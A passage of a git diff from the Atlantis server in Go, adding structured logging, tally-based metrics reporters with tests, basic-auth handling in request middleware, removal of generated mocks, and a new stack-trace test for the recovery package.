fmt.Sprintf(format, a...) + l.history.WriteString(fmt.Sprintf("[%s] %s\n", lvl.shortStr, msg)) +} - // file is the full filepath but we just want the filename. - // NOTE: rather than calling path.Base we're using code from the stdlib - // logging package which I assume is optimized. - short := file - for i := len(file) - 1; i > 0; i-- { - if file[i] == '/' { - short = file[i+1:] - break - } +// NewNoopLogger creates a logger instance that discards all logs and never +// writes them. Used for testing. +func NewNoopLogger(t zaptest.TestingT) SimpleLogging { + level := zap.DebugLevel + return &StructuredLogger{ + z: zaptest.NewLogger(t, zaptest.Level(level)).Sugar(), + level: zap.NewAtomicLevelAt(level), } - return short, line } + +type LogLevel struct { + zLevel zapcore.Level + shortStr string +} + +var ( + Debug = LogLevel{ + zLevel: zapcore.DebugLevel, + shortStr: "DBUG", + } + Info = LogLevel{ + zLevel: zapcore.InfoLevel, + shortStr: "INFO", + } + Warn = LogLevel{ + zLevel: zapcore.WarnLevel, + shortStr: "WARN", + } + Error = LogLevel{ + zLevel: zapcore.ErrorLevel, + shortStr: "EROR", + } +) diff --git a/server/metrics/common.go b/server/metrics/common.go new file mode 100644 index 0000000000..e32d59a4ce --- /dev/null +++ b/server/metrics/common.go @@ -0,0 +1,8 @@ +package metrics + +const ( + ExecutionTimeMetric = "execution_time" + ExecutionSuccessMetric = "execution_success" + ExecutionErrorMetric = "execution_error" + ExecutionFailureMetric = "execution_failure" +) diff --git a/server/metrics/counter.go b/server/metrics/counter.go new file mode 100644 index 0000000000..ecc3c8ecac --- /dev/null +++ b/server/metrics/counter.go @@ -0,0 +1,8 @@ +package metrics + +import tally "github.com/uber-go/tally/v4" + +func InitCounter(scope tally.Scope, name string) { + s := scope.Counter(name) + s.Inc(0) +} diff --git a/server/metrics/counter_test.go b/server/metrics/counter_test.go new file mode 100644 index 0000000000..70da6dc0e7 --- /dev/null +++ b/server/metrics/counter_test.go @@ -0,0 +1,21 @@ +package metrics + +import ( + "testing" + + tally "github.com/uber-go/tally/v4" +) + +func TestInitCounter(t *testing.T) { + scope := tally.NewTestScope("test", nil) + + InitCounter(scope, "counter") + + counter, ok := scope.Snapshot().Counters()["test.counter+"] + if !ok { + t.Errorf("Counter not found") + } + if counter.Value() != 0 { + t.Errorf("Counter is not initialized") + } +} diff --git a/server/metrics/debug.go b/server/metrics/debug.go new file mode 100644 index 0000000000..08203e1599 --- /dev/null +++ b/server/metrics/debug.go @@ -0,0 +1,93 @@ +package metrics + +import ( + "time" + + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" +) + +// newLoggingReporter returns a tally reporter that logs to the provided logger at debug level. This is useful for +// local development where the usual sinks are not available. +func newLoggingReporter(logger logging.SimpleLogging) tally.StatsReporter { + return &debugReporter{log: logger} +} + +type debugReporter struct { + log logging.SimpleLogging +} + +// Capabilities interface. + +func (r *debugReporter) Reporting() bool { + return true +} + +func (r *debugReporter) Tagging() bool { + return true +} + +func (r *debugReporter) Capabilities() tally.Capabilities { + return r +} + +// Reporter interface. + +func (r *debugReporter) Flush() { + // Silence. +} + +func (r *debugReporter) ReportCounter(name string, tags map[string]string, value int64) { + log := r.log.With("name", name, "value", value, "tags", tags, "type", "counter") + log.Debug("counter") +} + +func (r *debugReporter) ReportGauge(name string, tags map[string]string, value float64) { + log := r.log.With("name", name, "value", value, "tags", tags, "type", "gauge") + log.Debug("gauge") +} + +func (r *debugReporter) ReportTimer(name string, tags map[string]string, interval time.Duration) { + log := r.log.With("name", name, "value", interval, "tags", tags, "type", "timer") + log.Debug("timer") +} + +func (r *debugReporter) ReportHistogramValueSamples( + name string, + tags map[string]string, + buckets tally.Buckets, + bucketLowerBound, + bucketUpperBound float64, + samples int64, +) { + log := r.log.With( + "name", name, + "buckets", buckets.AsValues(), + "bucketLowerBound", bucketLowerBound, + "bucketUpperBound", bucketUpperBound, + "samples", samples, + "tags", tags, + "type", "valueHistogram", + ) + log.Debug("histogram") +} + +func (r *debugReporter) ReportHistogramDurationSamples( + name string, + tags map[string]string, + buckets tally.Buckets, + bucketLowerBound, + bucketUpperBound time.Duration, + samples int64, +) { + log := r.log.With( + "name", name, + "buckets", buckets.AsValues(), + "bucketLowerBound", bucketLowerBound, + "bucketUpperBound", bucketUpperBound, + "samples", samples, + "tags", tags, + "type", "durationHistogram", + ) + log.Debug("histogram") +} diff --git a/server/metrics/scope.go b/server/metrics/scope.go new file mode 100644 index 0000000000..e1701931fc --- /dev/null +++ b/server/metrics/scope.go @@ -0,0 +1,75 @@ +package metrics + +import ( + "io" + "strings" + "time" + + "github.com/cactus/go-statsd-client/v5/statsd" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" + tallyprom "github.com/uber-go/tally/v4/prometheus" + tallystatsd "github.com/uber-go/tally/v4/statsd" +) + +func NewLoggingScope(logger logging.SimpleLogging, statsNamespace string) (tally.Scope, io.Closer, error) { + scope, _, closer, err := NewScope(valid.Metrics{}, logger, statsNamespace) + return scope, closer, err +} + +func NewScope(cfg valid.Metrics, logger logging.SimpleLogging, statsNamespace string) (tally.Scope, tally.BaseStatsReporter, io.Closer, error) { + reporter, err := newReporter(cfg, logger) + + if err != nil { + return nil, nil, nil, errors.Wrap(err, "initializing stats reporter") + } + + scopeOpts := tally.ScopeOptions{ + Prefix: statsNamespace, + SanitizeOptions: &tallyprom.DefaultSanitizerOpts, + } + + if r, ok := reporter.(tally.StatsReporter); ok { + scopeOpts.Reporter = r + } else if r, ok := reporter.(tally.CachedStatsReporter); ok { + scopeOpts.CachedReporter = r + scopeOpts.Separator = tallyprom.DefaultSeparator + } + + scope, closer := tally.NewRootScope(scopeOpts, time.Second) + return scope, reporter, closer, nil +} + +func newReporter(cfg valid.Metrics, logger logging.SimpleLogging) (tally.BaseStatsReporter, error) { + + // return statsd metrics if configured + if cfg.Statsd != nil { + return newStatsReporter(cfg) + } + + // return prometheus metrics if configured + if cfg.Prometheus != nil { + return tallyprom.NewReporter(tallyprom.Options{}), nil + } + + // return logging reporter and proceed + return newLoggingReporter(logger), nil + +} + +func newStatsReporter(cfg valid.Metrics) (tally.StatsReporter, error) { + + statsdCfg := cfg.Statsd + + client, err := statsd.NewClientWithConfig(&statsd.ClientConfig{ + Address: strings.Join([]string{statsdCfg.Host, statsdCfg.Port}, ":"), + }) + + if err != nil { + return nil, errors.Wrap(err, "initializing statsd client") + } + + return tallystatsd.NewReporter(client, tallystatsd.Options{}), nil +} diff --git a/server/metrics/scope_test.go b/server/metrics/scope_test.go new file mode 100644 index 0000000000..280486c83b --- /dev/null +++ b/server/metrics/scope_test.go @@ -0,0 +1,34 @@ +package metrics_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/metrics" +) + +var ( + prometheusConfig = valid.Metrics{ + Prometheus: &valid.Prometheus{ + Endpoint: "/metrics", + }, + } +) + +func TestNewScope_PrometheusTaggingCapabilities(t *testing.T) { + scope, _, _, err := metrics.NewScope(prometheusConfig, nil, "test") + if err != nil { + t.Fatalf("got an error: %s", err.Error()) + } + + scope.Tagged(map[string]string{ + "base_repo": "runatlantis/atlantis", + "pr_number": "2687", + }) + + want := true + got := scope.Capabilities().Tagging() + if want != got { + t.Errorf("Scope does not have Capability to do Tagging") + } +} diff --git a/server/middleware.go b/server/middleware.go index 760d71b287..dea4fd19f0 100644 --- a/server/middleware.go +++ b/server/middleware.go @@ -15,24 +15,59 @@ package server import ( "net/http" + "strings" "github.com/runatlantis/atlantis/server/logging" - "github.com/urfave/negroni" + "github.com/urfave/negroni/v3" ) // NewRequestLogger creates a RequestLogger. -func NewRequestLogger(logger *logging.SimpleLogger) *RequestLogger { - return &RequestLogger{logger} +func NewRequestLogger(s *Server) *RequestLogger { + return &RequestLogger{ + s.Logger, + s.WebAuthentication, + s.WebUsername, + s.WebPassword, + } } // RequestLogger logs requests and their response codes. +// as well as handle the basicauth on the requests type RequestLogger struct { - logger *logging.SimpleLogger + logger logging.SimpleLogging + WebAuthentication bool + WebUsername string + WebPassword string } // ServeHTTP implements the middleware function. It logs all requests at DEBUG level. func (l *RequestLogger) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { l.logger.Debug("%s %s – from %s", r.Method, r.URL.RequestURI(), r.RemoteAddr) - next(rw, r) + allowed := false + if !l.WebAuthentication || + r.URL.Path == "/events" || + r.URL.Path == "/healthz" || + r.URL.Path == "/status" || + strings.HasPrefix(r.URL.Path, "/api/") { + allowed = true + } else { + user, pass, ok := r.BasicAuth() + if ok { + r.SetBasicAuth(user, pass) + if user == l.WebUsername && pass == l.WebPassword { + l.logger.Debug("[VALID] log in: >> url: %s", r.URL.RequestURI()) + allowed = true + } else { + allowed = false + l.logger.Info("[INVALID] log in attempt: >> url: %s", r.URL.RequestURI()) + } + } + } + if !allowed { + rw.Header().Set("WWW-Authenticate", `Basic realm="restricted", charset="UTF-8"`) + http.Error(rw, "Unauthorized", http.StatusUnauthorized) + } else { + next(rw, r) + } l.logger.Debug("%s %s – respond HTTP %d", r.Method, r.URL.RequestURI(), rw.(negroni.ResponseWriter).Status()) } diff --git a/server/mocks/matchers/io_writer.go b/server/mocks/matchers/io_writer.go deleted file mode 100644 index 50346e3279..0000000000 --- a/server/mocks/matchers/io_writer.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - io "io" -) - -func AnyIoWriter() io.Writer { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(io.Writer))(nil)).Elem())) - var nullValue io.Writer - return nullValue -} - -func EqIoWriter(value io.Writer) io.Writer { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue io.Writer - return nullValue -} diff --git a/server/mocks/matchers/ptr_to_http_request.go b/server/mocks/matchers/ptr_to_http_request.go deleted file mode 100644 index 806038bbe8..0000000000 --- a/server/mocks/matchers/ptr_to_http_request.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - http "net/http" -) - -func AnyPtrToHttpRequest() *http.Request { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*http.Request))(nil)).Elem())) - var nullValue *http.Request - return nullValue -} - -func EqPtrToHttpRequest(value *http.Request) *http.Request { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *http.Request - return nullValue -} diff --git a/server/mocks/matchers/slice_of_byte.go b/server/mocks/matchers/slice_of_byte.go deleted file mode 100644 index 9a9894fa07..0000000000 --- a/server/mocks/matchers/slice_of_byte.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -) - -func AnySliceOfByte() []byte { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]byte))(nil)).Elem())) - var nullValue []byte - return nullValue -} - -func EqSliceOfByte(value []byte) []byte { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []byte - return nullValue -} diff --git a/server/mocks/mock_azuredevops_request_validator.go b/server/mocks/mock_azuredevops_request_validator.go deleted file mode 100644 index f32ab4f364..0000000000 --- a/server/mocks/mock_azuredevops_request_validator.go +++ /dev/null @@ -1,117 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server (interfaces: AzureDevopsRequestValidator) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - http "net/http" - "reflect" - "time" -) - -type MockAzureDevopsRequestValidator struct { - fail func(message string, callerSkip ...int) -} - -func NewMockAzureDevopsRequestValidator(options ...pegomock.Option) *MockAzureDevopsRequestValidator { - mock := &MockAzureDevopsRequestValidator{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockAzureDevopsRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockAzureDevopsRequestValidator) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockAzureDevopsRequestValidator().") - } - params := []pegomock.Param{r, user, pass} - result := pegomock.GetGenericMockFrom(mock).Invoke("Validate", params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []byte - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]byte) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledOnce() *VerifierMockAzureDevopsRequestValidator { - return &VerifierMockAzureDevopsRequestValidator{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockAzureDevopsRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockAzureDevopsRequestValidator { - return &VerifierMockAzureDevopsRequestValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsRequestValidator { - return &VerifierMockAzureDevopsRequestValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockAzureDevopsRequestValidator { - return &VerifierMockAzureDevopsRequestValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockAzureDevopsRequestValidator struct { - mock *MockAzureDevopsRequestValidator - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) *MockAzureDevopsRequestValidator_Validate_OngoingVerification { - params := []pegomock.Param{r, user, pass} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Validate", params, verifier.timeout) - return &MockAzureDevopsRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockAzureDevopsRequestValidator_Validate_OngoingVerification struct { - mock *MockAzureDevopsRequestValidator - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte, []byte) { - r, user, pass := c.GetAllCapturedArguments() - return r[len(r)-1], user[len(user)-1], pass[len(pass)-1] -} - -func (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte, _param2 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*http.Request, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*http.Request) - } - _param1 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.([]byte) - } - _param2 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.([]byte) - } - } - return -} diff --git a/server/mocks/mock_github_request_validator.go b/server/mocks/mock_github_request_validator.go deleted file mode 100644 index 00bbaeef38..0000000000 --- a/server/mocks/mock_github_request_validator.go +++ /dev/null @@ -1,113 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server (interfaces: GithubRequestValidator) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - http "net/http" - "reflect" - "time" -) - -type MockGithubRequestValidator struct { - fail func(message string, callerSkip ...int) -} - -func NewMockGithubRequestValidator(options ...pegomock.Option) *MockGithubRequestValidator { - mock := &MockGithubRequestValidator{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockGithubRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockGithubRequestValidator) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockGithubRequestValidator) Validate(r *http.Request, secret []byte) ([]byte, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockGithubRequestValidator().") - } - params := []pegomock.Param{r, secret} - result := pegomock.GetGenericMockFrom(mock).Invoke("Validate", params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []byte - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]byte) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockGithubRequestValidator) VerifyWasCalledOnce() *VerifierMockGithubRequestValidator { - return &VerifierMockGithubRequestValidator{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockGithubRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockGithubRequestValidator { - return &VerifierMockGithubRequestValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockGithubRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubRequestValidator { - return &VerifierMockGithubRequestValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockGithubRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockGithubRequestValidator { - return &VerifierMockGithubRequestValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockGithubRequestValidator struct { - mock *MockGithubRequestValidator - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockGithubRequestValidator) Validate(r *http.Request, secret []byte) *MockGithubRequestValidator_Validate_OngoingVerification { - params := []pegomock.Param{r, secret} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Validate", params, verifier.timeout) - return &MockGithubRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockGithubRequestValidator_Validate_OngoingVerification struct { - mock *MockGithubRequestValidator - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockGithubRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) { - r, secret := c.GetAllCapturedArguments() - return r[len(r)-1], secret[len(secret)-1] -} - -func (c *MockGithubRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*http.Request, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*http.Request) - } - _param1 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.([]byte) - } - } - return -} diff --git a/server/mocks/mock_gitlab_request_parser_validator.go b/server/mocks/mock_gitlab_request_parser_validator.go deleted file mode 100644 index 101023ba5a..0000000000 --- a/server/mocks/mock_gitlab_request_parser_validator.go +++ /dev/null @@ -1,113 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server (interfaces: GitlabRequestParserValidator) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - http "net/http" - "reflect" - "time" -) - -type MockGitlabRequestParserValidator struct { - fail func(message string, callerSkip ...int) -} - -func NewMockGitlabRequestParserValidator(options ...pegomock.Option) *MockGitlabRequestParserValidator { - mock := &MockGitlabRequestParserValidator{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockGitlabRequestParserValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockGitlabRequestParserValidator) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) (interface{}, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockGitlabRequestParserValidator().") - } - params := []pegomock.Param{r, secret} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAndValidate", params, []reflect.Type{reflect.TypeOf((*interface{})(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 interface{} - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(interface{}) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockGitlabRequestParserValidator) VerifyWasCalledOnce() *VerifierMockGitlabRequestParserValidator { - return &VerifierMockGitlabRequestParserValidator{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockGitlabRequestParserValidator) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockGitlabRequestParserValidator { - return &VerifierMockGitlabRequestParserValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockGitlabRequestParserValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabRequestParserValidator { - return &VerifierMockGitlabRequestParserValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockGitlabRequestParserValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockGitlabRequestParserValidator { - return &VerifierMockGitlabRequestParserValidator{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockGitlabRequestParserValidator struct { - mock *MockGitlabRequestParserValidator - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification { - params := []pegomock.Param{r, secret} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAndValidate", params, verifier.timeout) - return &MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification struct { - mock *MockGitlabRequestParserValidator - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) { - r, secret := c.GetAllCapturedArguments() - return r[len(r)-1], secret[len(secret)-1] -} - -func (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*http.Request, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*http.Request) - } - _param1 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.([]byte) - } - } - return -} diff --git a/server/mocks/mock_template_writer.go b/server/mocks/mock_template_writer.go deleted file mode 100644 index 637a7b428c..0000000000 --- a/server/mocks/mock_template_writer.go +++ /dev/null @@ -1,109 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server (interfaces: TemplateWriter) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - io "io" - "reflect" - "time" -) - -type MockTemplateWriter struct { - fail func(message string, callerSkip ...int) -} - -func NewMockTemplateWriter(options ...pegomock.Option) *MockTemplateWriter { - mock := &MockTemplateWriter{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockTemplateWriter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockTemplateWriter) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockTemplateWriter) Execute(wr io.Writer, data interface{}) error { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockTemplateWriter().") - } - params := []pegomock.Param{wr, data} - result := pegomock.GetGenericMockFrom(mock).Invoke("Execute", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) - } - } - return ret0 -} - -func (mock *MockTemplateWriter) VerifyWasCalledOnce() *VerifierMockTemplateWriter { - return &VerifierMockTemplateWriter{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockTemplateWriter) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockTemplateWriter { - return &VerifierMockTemplateWriter{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockTemplateWriter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockTemplateWriter { - return &VerifierMockTemplateWriter{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockTemplateWriter) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockTemplateWriter { - return &VerifierMockTemplateWriter{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockTemplateWriter struct { - mock *MockTemplateWriter - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockTemplateWriter) Execute(wr io.Writer, data interface{}) *MockTemplateWriter_Execute_OngoingVerification { - params := []pegomock.Param{wr, data} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Execute", params, verifier.timeout) - return &MockTemplateWriter_Execute_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockTemplateWriter_Execute_OngoingVerification struct { - mock *MockTemplateWriter - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockTemplateWriter_Execute_OngoingVerification) GetCapturedArguments() (io.Writer, interface{}) { - wr, data := c.GetAllCapturedArguments() - return wr[len(wr)-1], data[len(data)-1] -} - -func (c *MockTemplateWriter_Execute_OngoingVerification) GetAllCapturedArguments() (_param0 []io.Writer, _param1 []interface{}) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]io.Writer, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(io.Writer) - } - _param1 = make([]interface{}, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(interface{}) - } - } - return -} diff --git a/server/recovery/recovery.go b/server/recovery/recovery.go index aff293fcf0..950ab7c883 100644 --- a/server/recovery/recovery.go +++ b/server/recovery/recovery.go @@ -3,7 +3,9 @@ // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 +// +// http://www.apache.org/licenses/LICENSE-2.0 +// // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -22,7 +24,7 @@ package recovery import ( "bytes" "fmt" - "io/ioutil" + "os" "runtime" ) @@ -48,7 +50,7 @@ func Stack(skip int) []byte { // Print this much at least. If we can't find the source, it won't show. fmt.Fprintf(buf, "%s:%d (0x%x)\n", file, line, pc) if file != lastFile { - data, err := ioutil.ReadFile(file) // nolint: gosec + data, err := os.ReadFile(file) // nolint: gosec if err != nil { continue } diff --git a/server/recovery/recovery_test.go b/server/recovery/recovery_test.go index fbab2e89d2..2c80162458 100644 --- a/server/recovery/recovery_test.go +++ b/server/recovery/recovery_test.go @@ -13,4 +13,87 @@ package recovery_test -// purposefully empty to trigger coverage report +import ( + "fmt" + "strings" + "testing" + + "github.com/runatlantis/atlantis/server/recovery" +) + +func TestStack(t *testing.T) { + tests := []struct { + skip int + expContains []string + expNotContains []string + }{ + { + skip: 0, + expContains: []string{ + "runtime.Caller(i)", + "TestStack.func1.1: return string(recovery.Stack(tt.skip))", + "recoveryTestFunc2: return f()", + "recoveryTestFunc1: return recoveryTestFunc2(f)", + }, + expNotContains: []string{}, + }, + { + skip: 1, + expContains: []string{ + "TestStack.func1.1: return string(recovery.Stack(tt.skip))", + "recoveryTestFunc2: return f()", + "recoveryTestFunc1: return recoveryTestFunc2(f)", + }, + expNotContains: []string{ + "runtime.Caller(i)", + }, + }, + { + skip: 2, + expContains: []string{ + "recoveryTestFunc2: return f()", + "recoveryTestFunc1: return recoveryTestFunc2(f)", + }, + expNotContains: []string{ + "runtime.Caller(i)", + "TestStack.func1.1: return string(recovery.Stack(tt.skip))", + }, + }, + { + skip: 3, + expContains: []string{ + "recoveryTestFunc1: return recoveryTestFunc2(f)", + }, + expNotContains: []string{ + "runtime.Caller(i)", + "TestStack.func1.1: return string(recovery.Stack(tt.skip))", + "recoveryTestFunc2: return f()", + }, + }, + } + for _, tt := range tests { + t.Run(fmt.Sprintf("skip %d", tt.skip), func(t *testing.T) { + got := recoveryTestFunc1(func() string { + return string(recovery.Stack(tt.skip)) + }) + for _, contain := range tt.expContains { + if !strings.Contains(got, contain) { + t.Fatalf("expected stack to contain %q but got:\n%s", contain, got) + } + } + for 